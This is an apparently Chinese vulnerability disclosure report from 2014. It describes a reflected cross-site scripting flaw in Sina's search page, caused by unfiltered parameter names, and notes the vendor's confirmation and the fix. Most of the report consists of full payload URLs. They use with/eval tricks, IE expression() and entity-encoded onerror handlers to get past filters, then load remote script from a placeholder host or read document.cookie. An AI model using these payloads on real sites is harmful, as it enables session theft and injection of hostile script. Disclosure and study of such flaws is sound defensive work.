2014-05-28:细节已通知厂商并且等待厂商处理中
2014-05-28:厂商已经确认,细节仅向厂商公开
2014-06-07:细节向核心白帽子及相关领域专家公开
2014-06-17:细节向普通白帽子公开
2014-06-27:细节向实习白帽子公开
2014-07-12:细节向公众公开
前几天新浪广告界面那个跨站,在第三次的时候,总算进行了正确的修复。于是我只好去其他地方看看了。很不幸这次又侧漏了,这次可获取cookie,可欺骗,虽然新浪的cookie有httponly保护,不过这次重点是可以过IE和chrome系列浏览器的方法。
详细说明:新浪的搜索实际上过滤还是挺严格的,在搜索框输入,xxx'"<>!@#$%^&*()_;\,
http://search.sina.com.cn/?q=xxx%27%22%3C%3E%21%40%23%24%25%5E%26*%28%29_%3B%5C&c=zt&sort=time
发现在正确的位置的进行了正确的编码和过滤。'"<>\以及其他特殊符号都进行了相应的编码和过滤。这也是我想到的,这些简单的符号肯定是会被过滤的。我发现页面中存在这样的代码:
于是一个一个对上面的参数进行了测试,发现对value里面的值对特殊字符都进行了编码处理。但是我不放过任何一个参数,继续寻找可能存在的参数,在这儿我发现一个奇怪的现象,就是每次我添加一个参数都会在input里面添加一条记录,而且在界面上会多次出现这个参数。
当我访问:http://search.sina.com.cn/?q=xxx&c=zt&range=title&ggg=bbb
直觉告诉我,这儿肯定存在问题。
既然对value都进行了严格的过滤,那对name呢。于是我再次测试
http://search.sina.com.cn/?q=xxx&c=zt&range=title&ggg"'ggg=bbb
果然侧漏了:
控制台报错了,我最喜欢了,还有js环境的:
接下来测试发现name参数过滤了点号和[],其他的都没过滤,值就过滤的惨不忍睹了,特殊符号都过滤了包括()[]{}"'<>\。很快就想到一个加载远程js的方法:
http://search.sina.com.cn/?q=xxx&c=zt&range=title&xxx%22;with(location)with(hash)eval(substring(1))//=#with(document)body.appendChild(createElement('script')).src='//xxx.xxxx.com/test/alert.js'
用with省略了点号的使用,但是这个代码只能在火狐和chrome系列浏览器上运行,不是很完美。在IE上不能有成对的括号出现而且过滤了location,document等关键字,怎么办呢?
我想到了expression,expression呢,因为我发现
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7">
就是说会强制浏览器以IE7文档模式解析,当然就都支持expression了。访问:
http://search.sina.com.cn/?q=xxx&c=zt&range=title&"style&d:expression(write(1));
xx&c=zt&range=title&"style=&d:expression(write(1));&col=&source
加载远程js:
http://search.sina.com.cn/?q=xxx&c=zt&range=title&"style&d:expression(with(location)with(hash)eval(substring(1)));# with(document)body.appendChild(createElement('script')).src='//xxx.xxxx.com/test/alert.js'
这个代码在IE9,IE10下面是可以运行的,IE8貌似不支持content="IE=EmulateIE7"。
但是这样的虽然可以过IE各个版本浏览器,但是又不能同时支持chrome系列浏览器了,有没有既可以过IE又可以过chrome的呢?为了完美,我们继续:
http://search.sina.com.cn/?q=xxx&c=zt&range=title&"><img/src=x%20&onerror&%2397;lert%26%2340;1%26%2341//
//得到
q=xxx&c=zt&range=title&"><img/src=x+&onerror=alert(1)//=&col=&sou
把空格转换成了+号,而我们又不能用 " ,于是我们用%0a也就是换行符来分割属性。
解释:a其实就是a的html编码我们在url编码后就是%26%2397。()就是()对他进行html编码是为了绕过 IE xss filter对括号的检查。
最终实现的加载远程js,可兼容IE,chrome系列浏览器:
http://search.sina.com.cn/?q=xxx&c=zt&range=title&xxx%22%3E&%3Cimg/src&%0aonerror&%23119%26%23105%26%23116%26%23104%26%2340%26%23108%26%23111%26%2399%26%2397%26%23116%26%23105%26%23111%26%23110%26%2341%26%23119%26%23105%26%23116%26%23104%26%2340%26%23104%26%2397%26%23115%26%23104%26%2341%26%23101%26%23118%26%2397%26%23108%26%2340%26%23115%26%23117%26%2398%26%23115%26%23116%26%23114%26%23105%26%23110%26%23103%26%2340%26%2349%26%2341%26%2341//#with(document)body.appendChild(createElement('script')).src='//xxx.xxx.com/test/alert.js'//
弹个cookie:
http://search.sina.com.cn/?q=xxx&c=zt&range=title&xxx%22%3E&%3Cimg/src&%0aonerror&%23119%26%23105%26%23116%26%23104%26%2340%26%23108%26%23111%26%2399%26%2397%26%23116%26%23105%26%23111%26%23110%26%2341%26%23119%26%23105%26%23116%26%23104%26%2340%26%23104%26%2397%26%23115%26%23104%26%2341%26%23101%26%23118%26%2397%26%23108%26%2340%26%23115%26%23117%26%2398%26%23115%26%23116%26%23114%26%23105%26%23110%26%23103%26%2340%26%2349%26%2341%26%2341//#alert(document.cookie)
加载JS:
http://search.sina.com.cn/?q=xxx&c=zt&range=title&xxx%22%3E&%3Cimg/src&%0aonerror&%23119%26%23105%26%23116%26%23104%26%2340%26%23108%26%23111%26%2399%26%2397%26%23116%26%23105%26%23111%26%23110%26%2341%26%23119%26%23105%26%23116%26%23104%26%2340%26%23104%26%2397%26%23115%26%23104%26%2341%26%23101%26%23118%26%2397%26%23108%26%2340%26%23115%26%23117%26%2398%26%23115%26%23116%26%23114%26%23105%26%23110%26%23103%26%2340%26%2349%26%2341%26%2341//#with(document)body.appendChild(createElement('script')).src='//xxx.xxx.com/test/alert.js'//
修复方案:
同样过滤传回去的参数除了值要过滤,名也要过滤。
版权声明:转载请注明来源 香草@乌云漏洞回应 厂商回应:
危害等级:中
漏洞Rank:5
确认时间:2014-05-28 18:43
厂商回复:感谢关注新浪安全,分析太好,
最新状态:暂无
版权与免责声明:
凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;